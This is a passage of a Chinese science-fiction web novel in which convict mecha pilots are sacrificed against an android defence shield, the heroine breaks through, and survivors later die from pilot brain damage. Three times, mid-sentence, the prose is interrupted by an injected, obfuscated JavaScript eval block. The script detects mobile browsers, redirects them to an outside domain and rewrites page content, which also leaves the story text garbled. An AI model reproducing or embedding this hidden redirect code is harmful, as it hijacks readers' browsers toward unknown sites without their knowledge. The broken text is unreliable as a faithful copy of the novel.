如果说高同步率约等于稳定而高超的技术,那么,过低的同步率就像是战场上的定时炸弹。 他不能让本就没有百分百成功率的计划里混入一个有可能毁灭全局的变数。 和外表看上去的不一样,他其实并不是一个很有魄力的人,否则也不会被迫背负莫须有的罪名,被放逐到社会之外。 无论是报名兵役,还是组建小队,都是有违他本性的背水一战。 在这种“已经不可能更糟”的情况下,他才有勇气做出这样的决断。 然而事情的走向还是出乎了他的意料。 频道里响起一个偏中性的声音:“抱歉,我还是打算按照规定的队列行动。” OA7V的声音也紧接着传来:“那我也不过去了。” 男人不自觉地松了一口气,以至于没能招揽到OA7V的事也不显得那么遗憾了。 然而通讯频道顿时变得嘈杂起来。 “那换我上!” “大佬,看看我!我虽然没有A1驾照,但也跑了很多年星际长途,算是老司机了。” “还有没有位置,看看我!” 大多数人都已经确信自己是去送死的了,但在看到一丝幸存可能的时候,还是会踊跃地争取一下。 被“亲切”称作大佬的男人又开麦了,他没有对OA7V、OA7W两人的拒绝做出任何评论,而是堂而皇之地在这个所有人都能听到的通讯频道里下达了指令:“等前方的炮灰削弱板块力场之后我们再开始发动攻击,这样成功率会高一点。” 这话一下子让那些没进编队的人炸开了锅。 “什么意思?你是想拿我们的命给自己铺活路?” “那老子偏不冲,哪怕被无人机打死,也好过帮别人做嫁衣。要死大家一起死。” “就是就是!咱们都是炮灰,你还比我们高贵点不成?” 和刚才死前开开玩笑的语气不同,这时候说话的人,都是打心底里愤怒。 本来是注定一起送死的同伴,结果发现人打的是拉自己垫背的主意,换谁不会生气? 路麦的脑袋也嗡嗡的。本来大家都是炮灰,现在,因为肌肉男分了一支精锐小队出去,剩下的人就成了炮灰的炮灰。 她突然有些后悔,刚才干嘛要装清高?就算她实际上并不具备被众人期望的实力,但若能搭着古德奈的便车侥幸留住性命的话,又何必在乎其他人会怎么想她? 哪怕被当成狡猾的小人,也总比白白送死要好得多。 而且……因为她的假清高,连古德奈也只能跟着一起送死了——他原本是有机会活下来的。 冲,肯定会被防御板块撞得粉身碎骨。不冲,恐怕无人机也不会放过他们。 炮灰中的炮灰们根本别无选择。 “行动倒计时——”指挥员说道。 通讯频道不知不觉早已没了声音。 “十,九,八,七……” 视野的左侧是在黑暗之中闪烁红光的狙击无人机,它们排成一列,用不带感情的电子瞄准镜注视着这里。 它们正是通过“智能放牧”训练出来的机器之一。不要以为它们只会死板地执行狙击命令,实际上,它们在战场上的能动性不会比一名专业机甲狙击手差太多。 精准的程式和丰富的经验,没准它们比人类还要好用。 “二,一,零……” 人类在与仿生人势不两立的同时,又给了人工智能杀死自己同类的权力。 “启动。” 散布在宙域 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832675|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的轻型机甲卡机似的一动不动。 服刑犯们并不是在权衡利弊,因为无论怎么选,结果都一样,可即使结果都一样,面对死亡,人还是会想要计较一下过程。死得其所总比死不瞑目好太多。 路麦也在犹豫。她不信自己就要这么死了,但眼前的难题她怎么也找不到解法。 刚才有个人说,魔王可以单机突破防御板块。说明这东西绝对是存在弱点的。只要找到那个弱点…… 牺牲炮灰来撞开防御,这是堆叠攻击次数。 通过一定数量的炮灰削弱板块耐久,然后以组成钻头阵型的队伍发动强攻,这是在有限的条件下提升强度。 这是在和物理防御属性做对抗。 物理防御极高的怪物,一般法术抗性会比较低,除非是全能型的BOSS…… 啊啊啊,这又不是在打游戏。现实中也没有什么法术攻击手段。 “你可以做到的吧!是时候展现你真正的实力了!”古德奈突然开麦,大叫一声。那语气一点也不像是身处绝境,反而充满活力,甚至还带着一丝期待——仿佛接下来会有什么好戏似的。 路麦一下被整不明白了。这小子在和谁说话? 跟她吗? 是啊,这小子还相信她是军方传说中的那个“王牌飞行员”呢。 他相信她会在这种场合有所作为,所以才拒绝了大块头的邀请,义无反顾地跟她站在一起。 路麦又开始后悔自己当初为什么要认下这个身份。 真是害人害己啊! 就在这时候,一道红光几乎是贴着她的机甲向前射出,瞬间洞穿了原本悬浮在她右上方的一台机甲。驾驶舱的位置像是被选中删除了一样,就这么消失在她的眼前。 没有一丝血腥,但是比鲜血淋漓的处刑画面更让人感到毛骨悚然。 大约十五秒后,第二道红光,删除了又一个驾驶舱。 杀鸡儆猴起了效果,一台排在前列的轻型机甲开始加速运动,义无反顾地向星体外围的防御板块撞了过去。 空间中没有传播声音的介质,但路麦仿佛听到了轰的一声。 防御板块和机械装甲发生反应,迸射出无数火花,一马当先的炮灰像点亮的仙女棒,迅速燃烧,迅速熄灭,不过几秒的时间,就成了漂浮在这片宙域中的一团破碎的焦铁。 她推动简易操作杆,在地图界面上设定好位置,然后开始加速。 大脑比世界之初的那片混沌还要混沌。 我可以做到的。我该展现真正的实力了。 我是王牌飞行员。 该怎么做? 我的实力是什么? 9%的同步率? 一连串的问题让她头昏脑涨。但轻型机甲高速前进的时候,她倏然间觉得身体里好像有什么东西觉醒了。 就是这种感觉。虽然不知道接下去会发生什么,但就是这种感觉没错。 明明不可能听到外界的声音,但她却感受到了那蜂巢一般的防御板块在飞快振动着,振动着,仿佛蜜蜂的翅膀一样振动着。振频是—— 46. 冷静思考 在轻型机甲被迫向前冲刺的同时,有什么东西从路麦的肩头划过,飞落在控制面板的某个按键上。无重力的环境让它的行动不那么方便,但是它聪明地想到利用蛛丝来实现目的。 路麦现在可没心思去管这小家伙。 加速度在压迫着血液和心脏。 她睁大眼睛,努力看清自己正对着的防御板块,确认两者间的距离。 余光处有如同烟花般绚丽的光芒时隐时现,被安排在最前面的几架机体已经粉碎,但防御圈上尚未出现一丝裂缝。 就这么撞上去的话,肯定也会粉身碎骨。 可临阵脱逃的话,又会被狙击无人机打成筛子。 有没有奇迹发生呢? 就像她一眨眼,就来到了异世界这样的奇迹。 不会的。奇迹什么的,怎么可能是想想就会出现的东西? 什么事都喜欢往对自己有利的方向想,这才不是乐天派,根本就是自欺欺人嘛! 但是但是—— 不会吧? 真的要死了? 在机体距离防御板块的最小间隔接近五十米的时候,远看只有一格蜂巢那么大的防御正六边形变得有一栋房子那么大,铺天盖地地向不断靠近的天体压来。 最小距离不足二十五米。 二十五米。 完成这样的距离,对一台可以在宇宙中行驶的机器来说,所需要的时间短到几乎不能被称为“时间间隔”。 在这样近乎于“无”的时间中,她可以做到什么? 路麦猛地提起控制杆,机甲的飞行轨迹瞬间发生变化,它几乎是擦着防御面板所散发出的那一层柔光向上冲去。 机体的腹部简直要和那坚不可摧的物质贴到一起。 接着,引擎的方向传来剧烈的震动。随着震波扩散,振幅逐渐减弱,震频却不断提升,路麦觉得自己的整个身体都要被震碎成无数个粒子。 眼睛无法看清视野上的画面,只觉得那上面出现了不计其数的裂痕,就像她过去经常在商场里看到的因为温度变化而突然爆裂的玻璃。 那一片片玻璃因为被前后夹层护住而没有碎裂,但眼前的防御板块却因此出现了一个巨大的空洞。 那些破碎的物质在失重的空间里飘散开来,如同尘埃化作钻石。 她的机体完好无损,而那些防御板块就仿佛遭受魔法攻击一般碎裂开来。 那些东西,原来是这么脆弱的吗? 还是因为先前的四十几次自杀式冲击已经冲破了它的防线? 想不明白。 “走!”耳机里传来一声爆破般的大喝,不知是谁的声音。 “酷毙了!我就知道你可以的!”古德奈激动地嚎叫起来,几乎声嘶力竭。 一台台轻型机甲直道超车,冲到了前方,向着规定之外的宙域空间狂奔而去,像是一群被从笼子里放出来的野鸟。 后方的视野中,隶属人类军队的正规作战机甲紧凑而有序地冲入被撞碎的防御板块,接下来,他们将在比邻星杰塔的大气圈内部与集结在那里的仿生人大军展开全面战斗。 不过那些事情已经和逃过一劫的轻型机甲们无关了。 路麦无意识地混在一众逃命的炮灰中,直到沉寂了许久的通讯频道再次变得热闹起来。 “传说中铜墙铁壁的防御科技也没什么大不了的啊,只用了十几台机子就把它给报废了。” “吓死我了,吓死我了,到现在还觉得像做梦似的,居然这么轻轻松松就活下来了?” “老子出门前都交代好后事了……” 发生了什么?任务完成了?而且……她没死? 恍惚之中,路麦听到有人点了一下自己。 “OA7W,你简直是天选之子啊。” “对啊!头号幸存者,跑在你前面的都挂了,跟在你后面的都活了!” “不是,你当真是比世一更牛逼的驾驶员?你到底是什么来头啊?” “这不会就是魔王的同款传说级操作吧?等等,你不会真的是魔王吧?” “我见过OA7W,是个女的。魔王是男人吧?” “卧槽,女的?什么女的怎么牛?” “听声音感觉是美女。” “就是美女啊。所以OA7V说的时候我半点不信。没想到是有真货啊。” “下机之后我肯定要好好膜拜一下。” “不对啊,没记错的话,OA7W不就是同步率只有9%的那个人吗?你们一说美女,我就想起来了。” “靠,真假?那机器是坏的吧?” “看到是大美女,所以突然就不灵光了啰。” 一群男人能聊出什么好话题来。才刚劫后余生,就开起了失礼的玩笑。 真是在哪都一样。 看来想从这些人口中打听到刚才到底发生了什么是不可能的了。 被送到战场上的时候,他们一共有两百八十八人。 冲在最前面的四十六人如今已死无全尸。路麦是第四十七个。她活下来了。 没人为死者哀悼。通讯频道中始终洋溢着快活且激动的氛围。 “接下去怎么办?无人机已经打不到我们了诶!军队又要和仿生人打仗,也没空来管我们。要不我们——就这么一走了之?” “喂,你们也别高兴得太早啊,看看燃料还够用多久?我们总不能一直漂流吧?” “对了,得找一个落脚的地方,再找找有没有补给。仿生人都能在空间里建那么多聚居点,我们一群大活人还不比它们强?” “靠,仿生人的平均智力比活人高多了,很多活人都因为辐射伤变成了鸡脑子。” “老哥,说个方向,我们往哪走?” “我看一下坐标,121宙域……1202,7663,349……我入狱之前,这附近还有不少孤岛,这么多年过去,也不知道在不在了……” 幸存者们连一点铺垫都没有,就开始七嘴八舌讨论起流亡的事来。 有人注意到钻头小队也默默地夹杂在流亡者的大部队里,免不了要酸他们几句。 “哎呀哎呀,咱们的老驾驶员没机会发光发热,是不是有点失落啊?” “大家要小心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840302|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,这些人可是会在遇到危险的时候会毫不犹豫地拿同伴挡枪的那种人。” GU4F对这些冷嘲热讽充耳不闻。他的视线穿过机群,紧紧锁定在OA7W的机体上。 钻头小队的确不是攻克立体防御系统的最佳办法,更何况他们驾驶的是一批宛如废铜烂铁的机器。要用这样的机器突破防御板块,先对板块耐久度进行一定消耗是非常有必要的。 如果仅靠自杀式攻击,那么这近三百台破烂机甲最后也只能勉强在防御板块上打开一个窟窿,但如果使用钻头战术的话,消耗就会少很多。一旦成功,除了组成钻头的这十几台机甲,保守估计还能保下至少五十人。 这已经是他的能力所能达成的最好的情况了。 但是,实际的情况甚至比他能想到的还要好。他们一共只损耗了四十六台机甲,其中有两台还是死于无人机的狙杀而非撞击板块。 这不是什么运气。 全都是因为OA7W,因为她做到了原本只有魔王才能做到的事——单机突破仿生人的立体防御系统。 一个连机甲驾驶执照都没有的女人? 一个同步率只有9%的女人?也许真的和那些人说的一样,检测机器在那个时候突然失灵了。 GU4F突然想起来,那个被称为魔王的人,也从来没有拿到过那张执照。 OA7V的话居然不是出于私心的扯谎。OA7W是有真本事的,远超他想象的真本事。 这不是单纯靠对机甲高超的操纵技术就能完成的工作。 很难想象,除了魔王之外,真的还有人能凭借肉身做出那样的操作。 那到底是什么人? 难道说那家伙以前是个无证驾驶的非法佣兵? 有这种能力,当雇佣兵也太浪费了。 有机会一定要找她确认一下。 路麦的脑袋还不够冷静,但思路却异常清晰。她听着炮灰们的对话,心里却清楚自己不能就这么一走了之。 离开N21固然是她的目标,但她想要的是自由公民的身份,而不是当一个惶惶不可终日的逃犯。 没有任何东西能保证他们一定可以找到那所谓的太空孤岛。 若是找不到停靠点,他们就只能在太空中漂流,直至燃料和能量被消耗殆尽。 而就算找到了那座孤岛,也无法确保能从上面找到食物和能源——大概率是没有的。 他们不过是逃离了立刻死亡的命运,却躲不过慢性的自杀。 这些人到底在高兴什么呢,他们真的知道自己在做什么吗? 这时候,有人在频道中大喊了一声:“喂,你要去哪?!” 路麦吓了一跳,但随即发现这话并不是冲自己来的。 有一台机甲掉队了。那人是想喊他跟上。 然而事情有些奇怪,与其说是掉队,那台机甲的动作看起来更像是偏离航向。 它没有在应该设定转角的地方转过来,看起来就像是擅自脱离队伍奔向内陆雪山的企鹅。 而悬浮在那台机甲前进道路上的,确实是一座比雪山大上数倍的天体。 47. 行动失败 不及时进行转向,继续按原有方向直行下去,不出五分钟,那台机甲就会撞到天体上,弥补它没有在比邻星杰塔变得四分五裂的命运。 “喂,快回来!靠,别告诉我你没燃料了!回话,听见了吗?HC2I,回答我,HC2I!” 频道里随后传来几个询问状况的声音,但始终没有听到像是HC2I的回答。 几乎可以肯定,那家伙出了什么事。 “我去拦住他!”有人这样说道。 路麦看到另一台机体也脱离了大部队,向落单的机甲飞奔而去。 频道里响起了一段不寻常的电流声。 “HC2I?”她下意识地问道,心想大概是因为距离过远,所以才出现了声音噪点。 如果能通过电波得知那边发生了什么,则是再好不过。 出人意料的是,那电流声很清晰,根本不像是因为距离过远而发生信号故障时的声音。 “不!”去追寻HC2I的机体传来一声大喊。 路麦忍不住往那边看去,于是便看到了这样的一幕。 原本正坚定且稳定向陌生天体行驶的轻型机甲毫无征兆地开始加速,好像要在几分钟内烧完自己的燃料一样。 它打着一个诡异的弧线向天体进行最后冲刺,然后义无反顾地撞了上去,把自己撞了个稀烂。 路麦此时正好将用于远距离观察的镜头聚焦到那个位置,看到洒在驾驶舱玻璃上的大片褐色液体以及碎裂的零件。 那些液体是用于润滑的机油。 HC2I是一个失去了超过百分之六十原生身体的半机械人。 追上去的机体立刻刹住了车。 从路麦的视角看过去,那台孤零零的机甲在天体面前显得格外渺小。 而那座天体也不过是茫茫宇宙中的一粒尘埃罢了。 “他大概是精神失常了。”有人漫不经心地说道,“这种事在战场上时有发生,和有没有进行交战、有没有杀过人没关系,只是运气不太好。” 这就是正义之士提到过的,过时机甲对驾驶员的精神损伤。 没想到这种负面效果的显现竟会如此之快——他们甚至都还没有完全脱离战场。 “小子,回来吧。”又有人呼唤起那台追寻同伴的机甲。 而那台机甲在原地愣了一会儿,随后发动起来。 路麦一直盯着那个方向,于是她看到那台机甲也在一场酣畅淋漓的加速后,撞成了一堆破铜烂铁。 “靠,见鬼!两个神经病。”有人骂了一句,语气显得不安。 或许他意识到了此情此景的异常之处。 “战场上的精神失常难不成也是会传染的?” “未必,搞不好是殉情。” “他们是那种关系吗?” “我哪知道?随便说说。” 一个听上去难以区分性别的声音突兀地响了起来:“这确实是一个运气问题。” 那些乱七八糟的讨论声顿时停住了,似乎在等候下文。 “接下去,我们还会死不少人,说不定在找到落脚处之前就全军覆没,但也有全体活下来的可能性。就看运气好不好了。” 路麦觉得那声音有些耳熟,过了好一会儿才反应过来那是鉴定师小姐的声音。 面对面说话的时候,她的声音更加温和活泼一些,而现在则显得有些冰冷,她差点就没能认出来。 有人问:“什么意思啊?你把话说清楚,我们为什么会死?” 鉴定师小姐说:“大多数战斗机甲需要连接大脑才能操作,有几率造成脑损伤,退役军人里有很多鸡脑子,就是这么来的。他们好歹还能得到医治,而我们就是耗材。我们现在驾驶的型号设计简陋、缺陷严重,肯定更伤脑子。” “这我们都知道,可我们的同步率基本上都在平均值上下啊。” “所以是运气问题。同步率的高低和精神损伤的程度本来就存在一定的概率性,即使同步率完全一样的两个人,有的运气好,就可能完全不受影响,有的运气差,就可能直接在战场上发疯。” 路麦倒吸一口凉气。不知道是心理作用还是躯体反应,她觉得有点头疼。 古德奈突然开麦:“我知道饲养宠物对抵御脑损伤有好处,宠物能起到精神疗愈的作用。你们都养着宠物的吧?哦,对了,不养宠物根本就不能参加兵役。” 频道里果不其然出现了一阵阵古怪的声音。 古德奈并不知道这里有很多人是被强制推上战场的,这和他们是否饲养宠物无关。 路麦愣了一下,没想到长期来的那个疑问居然会在这样的情况下得到解答。 古德奈没有注意到气氛已经冷了起来,自顾自说道:“对了,你们都养了些什么宠物?我养了一只青蛙。我把它捞回来的时候,它还是颗卵呢,现在已经长出了四条腿,不过尾巴还没有完全退化。” “为了能把它随时带在身边,我还花了大价钱从商城淘了一只太空饲养瓶。我本来觉得总把它带在身边不利于它的成长,但一想到上了战场之后,没准好几天不能见到它,就有些受不了,所以还是把它给带上了。” 路麦一个没忍住,开口:“你把伊芙宁带来了?!” 古德奈说:“这个饲养瓶真的很高级。你可以买一个小号的给路西法用。” 路麦的余光瞄到了趴在操纵杆顶端的灰色物体,顿时说不出话来。 她差点忘了,路西法也在这里。刚才它还突然跳到控制面板上,在上面做了些什么。 那块立体防御板的爆破,会和它的操作有关系吗? 怎么可能呢。 通人性也就算了,难道它还能通人智? 就在她若有所思地盯着自己宠物的同时,又有一台机甲报废了——它的驾驶员似乎是通过自毁按键进行了自杀。 有人骂了句脏话:“见鬼!说到底今天就是老子的死期?” 说这话的人一定没有饲养宠物。 尽管饲主的身份不是绝对的保命符,但还是让一部分逃犯感到安心了一些,但对于另一部分来说,这无疑是个晴天霹雳。 直到这时候,古德奈才注意到弥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847101|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漫在逃亡者大队中的低气压,并及时收住了声音,只时不时仍会嘟囔几句。 死亡的气息一直盘旋在这支颇具规模的队伍中。 HC2I的死像是打开了一个口子,像是死神放出的狩猎信号。 越来越多的证据表明,幸运只会降临一次。 谁也不知道下一个死的会不会是自己。 有人大喊:“必须尽快找到能够停靠的地方,脱离这些该去见鬼的过时机器!” 路麦说:“我要回去。” 频道里沉默了很久。 一个男人怒吼起来:“靠,你脑子是不是有坑,你回去找死啊?!” 路麦没理他,“OA7V、OA7X,你们有什么打算?” 古德奈立刻说:“你回去?那我肯定跟!” 正义之士说:“我也回去。” 又是一阵沉默。 鉴定师小姐的声音响起:“我也回去。我的刑期本来就不多了,犯不着做傻事。” GU4F说:“我也回去。” 在一片微妙的空气中,炮灰小队逐渐分成了两股,背向而行,渐行渐远。有将近一半的人没有发表任何言论,只是默默地跟上了返航的队伍。 …… 比邻星杰塔附近,伪装成小天体的航空装备缓慢地移动起来。 与这个伪装体不紧不慢的行动形成对比的,则是弥漫在其内部的紧张情绪。 为在两军交战之时趁机截走实验体678所在的OA7W号轻型机甲,铁锨在比邻星杰塔附近安排了这支伏击队。 接受命令的干部已经率领部下在这个逼仄而枯燥的掩体内埋伏了整整一周,就为了这么一刻——就为了炮灰团队集体自杀时,把678从里面打捞出来。 为此,他们重复进行了数十次模拟演练,确认劫机操作能精确到毫秒,确保能将678活着带回唐氏集团的实验总部。 然而,678的行驶速度远远超过他们的预期,这使得他们无法在避开无人狙击机的同时精确捕获那台轻型机甲。 这样一来,结果就是实验体678的彻底死亡。 谁也没想到那台机甲居然能够逃过一劫。 现在,负责指挥的官员已经彻底傻眼,却只能眼睁睁看着目标机体从控制面板的屏幕中消失。 “长官,目标已经脱离锁定范围,我们的行动是不是失败了?” 指挥官久久未能将那个“是”字说出口。 任务失败,这意味着回去之后将面临严厉的惩罚。但同时他又震惊于那桩若非亲眼所见绝对无法相信的壮举。 在大多数对立体防御缺乏了解的人看来,军方显然为爆破准备了多余的力量。明明只需十几台轻型机甲就能撞开一道板块,军方却为这一目的安排了三位数的火力。 而实际情况是,这种由仿生人独立研发的防御手段已经超过了人类所掌握的科技,绝不是十几次的自杀式冲击就能突破的简易关卡,三位数的火力远不到饱和式攻击的程度。 刚才的那种情景,理论上能够发生的可能性为零。